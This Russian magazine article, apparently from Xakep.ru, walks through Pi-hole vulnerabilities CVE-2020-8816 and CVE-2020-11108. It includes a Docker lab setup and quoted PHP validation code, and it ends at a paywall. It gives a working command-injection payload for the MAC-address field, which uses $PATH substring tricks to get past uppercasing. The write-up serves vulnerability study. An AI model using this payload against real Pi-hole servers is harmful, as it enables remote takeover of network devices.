Следующая новость
Предыдущая новость

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi

10.07.2020 13:22
Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi

Содержание статьи

  • Коротко
  • Стенд
  • RCE через MAC-адрес
  • RCE через добавление в списки
  • Повышение привилегий до root
  • Демонстрация уязвимости (видео)
  • Заключение

В Pi-hole — популярной программе для блокировки рекламы и нежелательных скриптов — за последнее время нашли целых три уязвимости. Две из них приводят к удаленному выполнению команд, а одна позволяет повысить привилегии до root. Давай разберем причины проблем и заодно посмотрим, как искать уязвимости в коде на PHP и скриптах на Bash.

Pi-hole — это DNS-сервер и небольшой веб-интерфейс для настройки блокировщика и просмотра статистики. Приставка Pi тут неспроста, поскольку разработчики предполагали, что ставить их софт будут на Raspberry Pi (а заодно название звучит как «дырка для пирога»). При этом ничто в целом не мешает ставить Pi-hole и на другое железо.

Коротко

CVE-2020-8816 — эта уязвимость в Pi-hole существует из-за некорректной санитизации MAC-адреса при добавлении его в список. Специально сформированный MAC-адрес позволяет злоумышленнику внедрить свои команды в строку вызова. Баг затрагивает все версии Pi-hole до 4.3.2 включительно.

CVE-2020-11108 — обновление скрипта Gravity в Pi-hole до версии 4.4 позволяет загружать произвольные файлы в веб-директорию системы. Злоумышленник может загрузить PHP-файл, содержащий вредоносный код. Ошибка находится в функции gravity_DownloadBlocklistFromUrl в файле gravity.sh. Также она может быть использована в сочетании с правилом sudo для пользователя www-data, чтобы выполнить повышение привилегий до суперпользователя.

Нашли уязвимости Ник Фришетт (Nick Frichette), разработчик и ИБ-исследователь из США, и Франсуа Рено-Филиппон (François Renaud-Philippon) — ИБ-исследователь из Канады.

Стенд

Начнем со стенда. Тут все просто, разработчики Pi-Hole предоставляют официальный контейнер Docker с дистрибутивом. Для тестирования всех уязвимостей воспользуемся версией 4.3.2.

docker run --rm --name pihole --hostname pihole -p80:80 -p53:53 pihole/pihole:4.3.2 

После непродолжительной загрузки на 80 порту можно найти веб-интерфейс администратора.

Веб-интерфейс Pi-hole

Пароль будет сгенерирован в процессе загрузки контейнера и выведен в консоль.

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi
Пароль администратора Pi-hole генерируется при запуске контейнера

Теперь осталось скачать исходники админской панели с GitHub (ZIP) — и можно приступать к разбору уязвимости.

RCE через MAC-адрес

Для начала обратимся к исходным кодам приложения, раз они имеются. В первую очередь проверим наличие RCE. Для этого поищем в коде на PHP основные функции, которые допускают исполнение кода. Я буду использовать PHPStorm и следующую регулярку.

(exec|passthru|system|shell_exec|popen|proc_open|pcntl_exec)s*( 

Она не идеальна, но для быстрого поиска сгодится.

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi
Поиск функций выполнения кода в Pi-hole

Сразу видим, что нашлась пачка интересных мест. Давай посмотрим на них поближе.

Начнем с файла savesettings.php. Он отвечает за сохранение настроек в разделе Settings, для каждой вкладки есть отдельная ветка кода.

scripts/pi-hole/php/savesettings.php
216:        // Process request 217:        switch ($_POST["field"]) { 218:            // Set DNS server 219:            case "DNS": ... 383:            case "API": ... 548:            case "DHCP": 
Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi
Страница настроек в веб-интерфейсе Pi-hole

Нас интересует вкладка DHCP, там происходит подозрительный вызов функции exec.

scripts/pi-hole/php/savesettings.php
548:            case "DHCP": 549:  550:                if(isset($_POST["addstatic"])) 551:                { 552:                    $mac = $_POST["AddMAC"]; 553:                    $ip = $_POST["AddIP"]; 554:                    $hostname = $_POST["AddHostname"]; ... 605:                        exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname); 

В процессе выполнения происходит вызов утилиты pihole, где в качестве параметров командной строки передаются значения AddMAC, AddIP, AddHostname из POST-запроса. Первая мысль: просто внедрить свою команду при помощи && или ||. Однако переменные предварительно проходят некоторые проверки. Давай посмотрим на них. Начнем с IP.

scripts/pi-hole/php/savesettings.php
562:                    if(!validIP($ip) && strlen($ip) > 0) 563:                    { 564:                        $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>"; 565:                    } 

Помимо двух регулярок, выполняется проверка встроенной в PHP функцией filter_var с опцией FILTER_VALIDATE_IP.

scripts/pi-hole/php/savesettings.php
14: function validIP($address){ 15:     if (preg_match('/[.:0]/', $address) && !preg_match('/[1-9a-f]/', $address)) { 16:         // Test if address contains either `:` or `0` but not 1-9 or a-f 17:         return false; 18:     } 19:     return !filter_var($address, FILTER_VALIDATE_IP) === false; 20: } 

Здесь особо не разгуляешься, и пропихнуть левые символы не удастся. Тогда переходим к hostname.

scripts/pi-hole/php/savesettings.php
567:                    if(!validDomain($hostname) && strlen($hostname) > 0) 568:                    { 569:                        $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>"; 570:                    } 

Тут уже три регулярки. Первая запрещает использовать любые символы, кроме цифр, a-z, точки, минуса и подчеркивания, а остальные проверяют длину строки.

scripts/pi-hole/php/savesettings.php
36: function validDomain($domain_name) 37: { 38:     $validChars = preg_match("/^([_a-zd](-*[_a-zd])*)(.([_a-zd](-*[a-zd])*))*(.([a-zd])*)*$/i", $domain_name); 39:     $lengthCheck = preg_match("/^.{1,253}$/", $domain_name); 40:     $labelLengthCheck = preg_match("/^[^.]{1,63}(.[^.]{1,63})*$/", $domain_name); 41:     return ( $validChars && $lengthCheck && $labelLengthCheck ); //length of each label 42: } 

Здесь тоже нет возможности внедрить нужные нам символы.

Остается MAC-адрес.

scripts/pi-hole/php/savesettings.php
556:                    if(!validMAC($mac)) 557:                    { 558:                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>"; 559:                    } 
scripts/pi-hole/php/savesettings.php
53: function validMAC($mac_addr) 54: { 55:   // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case) 56:   return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1); 57: } 

А вот здесь нас ждет удача. Регулярка говорит нам, что строка должна содержать 6 пар символов английского алфавита и цифр и они могут быть разделены двоеточием или нет. Но вот незадача, отсутствуют символы начала и конца строки. Это значит, что достаточно, чтобы было как минимум одно вхождение такой регулярки, а помимо нее можно указывать все что хочется.

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi
Некорректное регулярное выражение в Pi-hole, которое проверяет валидность MAC-адреса

Однако здесь нас поджидает небольшая проблемка.

scripts/pi-hole/php/savesettings.php
560:                    $mac = strtoupper($mac); 

Все буквы в строке с MAC-адресом переводятся в верхний регистр. Так как команды в Linux регистрозависимы, не получится просто внедрить нужную, придется искать обход. К счастью, шелл в Linux очень гибкая штука и сделать байпасс не составит труда. Если бы функция exec использовала интерпретатор bash для выполнения команд, то решение было бы совсем простым: начиная с четвертой версии в Bash появилась конструкция вида ${VAR,,}, которая меняет регистр букв на строчные в значении переменной. Но exec использует /bin/sh.

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi
Изменение регистра букв в Bash и ошибка обработки такой же конструкции в sh

Но не стоит отчаиваться, ведь у нас есть переменные окружения. Всеми любимая $PATH как раз состоит из букв верхнего регистра и содержит большое количество символов нижнего. Добавим новую запись с MAC-адресом 000000000000$PATH, чтобы увидеть содержимое этой переменной окружения.

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi
Добавление новой записи в DHCP, где в MAC-адрес внедрена переменная окружения PATH

По умолчанию в контейнере она имеет следующий вид:

/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 

Чтобы не собирать всю необходимую команду из этих букв, воспользуемся php, так как местные функции регистронезависимы. Вот мой пейлоад:

php -r 'exec(strtolower("echo 1 > /tmp/owned"));' 

Чтобы исключить любые проблемы с символами в длинных командах, можно воспользоваться функцией hex2bin вместо strtolower, но для моего пейлоада сгодится и эта.

Получается, что нам нужны символы p, h и r. Воспользуемся символами замены и удаления подстроки. Символ p находится на третьей позиции. Конструкция A=${PATH#??} удалит первые два символа, и в переменной A останется такая подстрока:

pt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 

Теперь из нее нужно удалить все, кроме первого символа, для этого используем P=${A%${A#?}}.

Теперь h. Он находится на восьмой позиции, поэтому удаляем первые семь символов A=${PATH#???????}. Оставляем только первый символ при помощи уже известной нам конструкции H=${A%${A#?}}.

И наконец — r. Удаляем все символы начиная с первого слеша до первого двоеточия плюс три символа: A=${PATH#/*:???}. В итоге останется такая подстрока:

r/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 

Снова оставляем только первый символ R=${A%${A#?}}.

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi

WWW

Подробнее про манипуляцию со строками можно прочитать в мануале Bash, там все подробно расписано с примерами использования.

Собираем все наши конструкции вместе и получаем:

A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}}; 

Теперь в переменных $P, $H и $R находятся буквы p, h и r в нижнем регистре.

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi
Создание команды php -r из переменной окружения PATH

Можно формировать основной пейлоад.

000000000000;A=${PATH#??};P=${A%${A#?}};A=${PATH#???????};H=${A%${A#?}};A=${PATH#/*:???};R=${A%${A#?}};$P$H$P -$R 'exec(strtolower("echo 1 > /tmp/owned"));'; 

Отправляем его в качестве MAC-адреса и можем видеть файл owned в директории /tmp.

Дыры в дыре. Как работают уязвимости в Pi-hole, которые позволяют захватить Raspberry Pi
Удаленное выполнение команд в Pi-hole через внедрение комманд в MAC-адрес

Точно такая же проблема присутствует в функции удаления существующего MAC-адреса.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

1 год

7690 р.

1 месяц

720 р.

Я уже участник «Xakep.ru»

Источник

Последние новости